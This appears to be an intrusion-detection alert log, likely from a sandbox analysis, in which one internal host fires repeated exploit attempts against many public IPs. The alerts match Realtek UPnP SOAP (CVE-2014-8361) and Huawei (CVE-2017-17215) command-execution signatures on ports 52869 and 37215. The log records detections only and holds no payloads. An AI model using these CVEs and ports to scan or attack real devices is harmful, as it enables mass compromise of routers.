Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 91.225.198.252

Timestamp:	07/20/24-23:01:48.108304
SID:	2831300
Source Port:	43398
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.10.234.63

Timestamp:	07/20/24-23:01:08.598416
SID:	2027339
Source Port:	38364
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 70.133.231.223

Timestamp:	07/20/24-23:01:41.488676
SID:	2025132
Source Port:	47140
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 192.18.152.238

Timestamp:	07/20/24-23:01:42.325814
SID:	2027339
Source Port:	35148
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 131.27.111.80

Timestamp:	07/20/24-23:01:46.247879
SID:	2025132
Source Port:	45630
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 167.73.249.89

Timestamp:	07/20/24-23:01:45.096837
SID:	2027339
Source Port:	41926
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.233.164.3

Timestamp:	07/20/24-23:01:24.862410
SID:	2835222
Source Port:	51818
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.162.44.242

Timestamp:	07/20/24-23:01:06.975117
SID:	2835222
Source Port:	45108
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.201.79.70

Timestamp:	07/20/24-23:01:42.703494
SID:	2027339
Source Port:	46836
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 137.51.1.150

Timestamp:	07/20/24-23:01:43.845332
SID:	2831300
Source Port:	36896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.229.154.58

Timestamp:	07/20/24-23:01:02.083467
SID:	2829579
Source Port:	60660
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 12.188.189.35

Timestamp:	07/20/24-23:01:42.915640
SID:	2027339
Source Port:	32862
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 52.64.207.91

Timestamp:	07/20/24-23:01:41.290281
SID:	2027339
Source Port:	60796
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 64.44.223.6

Timestamp:	07/20/24-23:01:56.327422
SID:	2027339
Source Port:	52236
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 151.154.71.43

Timestamp:	07/20/24-23:01:13.811792
SID:	2025132
Source Port:	37034
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 103.18.195.93

Timestamp:	07/20/24-23:01:08.638880
SID:	2027339
Source Port:	38024
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 146.105.181.156

Timestamp:	07/20/24-23:01:25.476673
SID:	2027339
Source Port:	39008
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.139.214.54

Timestamp:	07/20/24-23:01:47.342227
SID:	2027339
Source Port:	38380
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.80.83.187

Timestamp:	07/20/24-23:01:44.855022
SID:	2831300
Source Port:	35600
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.53.184.177

Timestamp:	07/20/24-23:00:59.203960
SID:	2835222
Source Port:	37906
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 166.63.2.220

Timestamp:	07/20/24-23:01:10.691725
SID:	2027339
Source Port:	52688
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 173.58.223.243

Timestamp:	07/20/24-23:01:42.622797
SID:	2025132
Source Port:	50476
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 153.239.16.237

Timestamp:	07/20/24-23:01:44.481011
SID:	2027339
Source Port:	43510
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 183.49.28.217

Timestamp:	07/20/24-23:01:08.598416
SID:	2831300
Source Port:	57734
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.241.253.254

Timestamp:	07/20/24-23:01:34.048618
SID:	2829579
Source Port:	58204
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 132.191.84.86

Timestamp:	07/20/24-23:01:45.034156
SID:	2027339
Source Port:	58954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 164.236.61.179

Timestamp:	07/20/24-23:02:09.758048
SID:	2027339
Source Port:	53308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 190.122.87.133

Timestamp:	07/20/24-23:01:52.286078
SID:	2027339
Source Port:	55492
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 159.73.240.193

Timestamp:	07/20/24-23:02:48.156942
SID:	2025132
Source Port:	46730
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 199.106.155.17

Timestamp:	07/20/24-23:01:43.918137
SID:	2025132
Source Port:	35604
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.236.42.147

Timestamp:	07/20/24-23:01:02.426129
SID:	2027339
Source Port:	48472
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 152.241.189.22

Timestamp:	07/20/24-23:01:48.855306
SID:	2831300
Source Port:	59376
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 126.214.32.228

Timestamp:	07/20/24-23:01:49.703914
SID:	2025132
Source Port:	41410
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 12.129.173.144

Timestamp:	07/20/24-23:01:41.290518
SID:	2025132
Source Port:	41866
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 105.84.86.167

Timestamp:	07/20/24-23:01:54.835427
SID:	2027339
Source Port:	51488
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 175.125.31.24

Timestamp:	07/20/24-23:01:41.295717
SID:	2025132
Source Port:	41290
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 112.132.188.245

Timestamp:	07/20/24-23:01:12.813695
SID:	2831300
Source Port:	57422
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 54.140.169.156

Timestamp:	07/20/24-23:01:41.286911
SID:	2027339
Source Port:	52456
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.202.161.192

Timestamp:	07/20/24-23:01:20.126052
SID:	2829579
Source Port:	38742
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 191.208.79.121

Timestamp:	07/20/24-23:01:20.591702
SID:	2831300
Source Port:	35926
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 5.118.234.148

Timestamp:	07/20/24-23:01:44.826234
SID:	2027339
Source Port:	42172
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 119.8.134.128

Timestamp:	07/20/24-23:01:08.663244
SID:	2831300
Source Port:	41736
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 2.18.140.250

Timestamp:	07/20/24-23:01:52.081188
SID:	2025132
Source Port:	40076
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 125.227.195.47

Timestamp:	07/20/24-23:01:53.068033
SID:	2025132
Source Port:	37484
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.213.175.190

Timestamp:	07/20/24-23:00:59.163619
SID:	2829579
Source Port:	50560
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 95.50.29.160

Timestamp:	07/20/24-23:01:41.637960
SID:	2027339
Source Port:	40706
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.167.87.211

Timestamp:	07/20/24-23:02:08.008782
SID:	2027339
Source Port:	37426
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.122.89.119

Timestamp:	07/20/24-23:01:27.655551
SID:	2829579
Source Port:	54210
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 159.20.45.153

Timestamp:	07/20/24-23:01:08.578116
SID:	2027339
Source Port:	44384
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 42.127.253.166

Timestamp:	07/20/24-23:01:59.593868
SID:	2025132
Source Port:	46206
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 202.112.172.229

Timestamp:	07/20/24-23:01:51.244491
SID:	2025132
Source Port:	45482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 99.2.133.89

Timestamp:	07/20/24-23:01:04.802341
SID:	2027339
Source Port:	35090
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 14.40.33.153

Timestamp:	07/20/24-23:02:08.781934
SID:	2027339
Source Port:	42460
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 157.54.130.2

Timestamp:	07/20/24-23:01:00.633744
SID:	2829579
Source Port:	37642
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 179.51.3.253

Timestamp:	07/20/24-23:01:44.565131
SID:	2831300
Source Port:	41940
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 185.209.39.214

Timestamp:	07/20/24-23:02:06.813916
SID:	2027339
Source Port:	34864
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 111.38.32.209

Timestamp:	07/20/24-23:01:31.312736
SID:	2831300
Source Port:	45590
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 162.142.171.159

Timestamp:	07/20/24-23:01:43.175740
SID:	2831300
Source Port:	53954
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 97.24.147.38

Timestamp:	07/20/24-23:01:45.980258
SID:	2831300
Source Port:	32840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 49.245.141.79

Timestamp:	07/20/24-23:01:47.808098
SID:	2025132
Source Port:	44152
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 84.102.198.205

Timestamp:	07/20/24-23:01:25.974900
SID:	2027339
Source Port:	39232
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 70.7.126.6

Timestamp:	07/20/24-23:01:57.720327
SID:	2027339
Source Port:	49880
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.137.223.0

Timestamp:	07/20/24-23:01:07.066373
SID:	2829579
Source Port:	40944
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 101.35.135.206

Timestamp:	07/20/24-23:01:58.624224
SID:	2831300
Source Port:	54392
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 62.0.251.178

Timestamp:	07/20/24-23:01:42.751499
SID:	2027339
Source Port:	48762
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 19.90.99.238

Timestamp:	07/20/24-23:01:53.059915
SID:	2025132
Source Port:	47832
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 8.220.8.58

Timestamp:	07/20/24-23:01:45.713934
SID:	2027339
Source Port:	47396
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 86.115.200.136

Timestamp:	07/20/24-23:01:56.910590
SID:	2831300
Source Port:	37840
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 145.1.23.220

Timestamp:	07/20/24-23:01:47.748808
SID:	2027339
Source Port:	33308
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 115.176.151.108

Timestamp:	07/20/24-23:01:46.125172
SID:	2027339
Source Port:	56968
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 218.167.11.105

Timestamp:	07/20/24-23:01:34.050313
SID:	2835222
Source Port:	37428
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 203.253.92.60

Timestamp:	07/20/24-23:01:44.546338
SID:	2027339
Source Port:	57954
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 203.130.71.37

Timestamp:	07/20/24-23:01:51.932550
SID:	2831300
Source Port:	35906
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 209.170.78.160

Timestamp:	07/20/24-23:01:42.142802
SID:	2025132
Source Port:	46616
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 178.69.5.63

Timestamp:	07/20/24-23:01:55.384732
SID:	2025132
Source Port:	51482
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.168.86.78

Timestamp:	07/20/24-23:00:59.211046
SID:	2829579
Source Port:	33444
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 65.114.239.111

Timestamp:	07/20/24-23:01:03.942398
SID:	2027339
Source Port:	34136
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 2.129.228.59

Timestamp:	07/20/24-23:01:12.807585
SID:	2027339
Source Port:	37972
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 130.186.238.85

Timestamp:	07/20/24-23:01:42.027932
SID:	2027339
Source Port:	40596
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 218.234.180.136

Timestamp:	07/20/24-23:01:44.320661
SID:	2831300
Source Port:	34236
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 61.78.107.95

Timestamp:	07/20/24-23:01:02.048113
SID:	2835222
Source Port:	42374
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 41.199.13.54

Timestamp:	07/20/24-23:01:43.328791
SID:	2027339
Source Port:	49800
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 57.114.247.43

Timestamp:	07/20/24-23:01:45.143033
SID:	2027339
Source Port:	37250
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 89.150.205.193

Timestamp:	07/20/24-23:01:53.354788
SID:	2027339
Source Port:	40962
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 133.66.91.121

Timestamp:	07/20/24-23:01:08.939279
SID:	2027339
Source Port:	33890
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 194.242.148.126

Timestamp:	07/20/24-23:01:52.161851
SID:	2027339
Source Port:	50178
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.250.23.107

Timestamp:	07/20/24-23:01:04.098909
SID:	2835222
Source Port:	46330
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 180.155.132.167

Timestamp:	07/20/24-23:01:08.629616
SID:	2027339
Source Port:	44946
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.32.198.246

Timestamp:	07/20/24-23:01:27.650643
SID:	2829579
Source Port:	50680
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 96.24.157.5

Timestamp:	07/20/24-23:01:50.001370
SID:	2831300
Source Port:	36896
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 199.229.94.109

Timestamp:	07/20/24-23:00:57.222523
SID:	2835222
Source Port:	49446
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 41.201.122.237

Timestamp:	07/20/24-23:01:11.818830
SID:	2829579
Source Port:	47376
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 34.116.171.252

Timestamp:	07/20/24-23:01:50.065539
SID:	2027339
Source Port:	34878
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Huawei Remote Command Execution (CVE-2017-17215) - Source IP: 192.168.2.23 - Destination IP: 197.231.152.31

Timestamp:	07/20/24-23:01:04.031511
SID:	2829579
Source Port:	35524
Destination Port:	37215
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 38.158.187.83

Timestamp:	07/20/24-23:01:08.630327
SID:	2027339
Source Port:	46392
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO EXPLOIT Realtek SDK Miniigd UPnP SOAP RCE M2 - Source IP: 192.168.2.23 - Destination IP: 223.86.47.43

Timestamp:	07/20/24-23:01:12.853279
SID:	2831300
Source Port:	52536
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted Administrator Privilege Gain

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Outbound - Source IP: 192.168.2.23 - Destination IP: 37.165.17.202

Timestamp:	07/20/24-23:01:45.521019
SID:	2027339
Source Port:	34432
Destination Port:	52869
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET EXPLOIT Realtek SDK Miniigd UPnP SOAP Command Execution CVE-2014-8361 - Source IP: 192.168.2.23 - Destination IP: 47.13.214.247

Timestamp:	07/20/24-23:01:47.562957
SID:	2025132
Source Port:	37252
Destination Port:	52869
Protocol:	TCP
Classtype:	Attempted User Privilege Gain

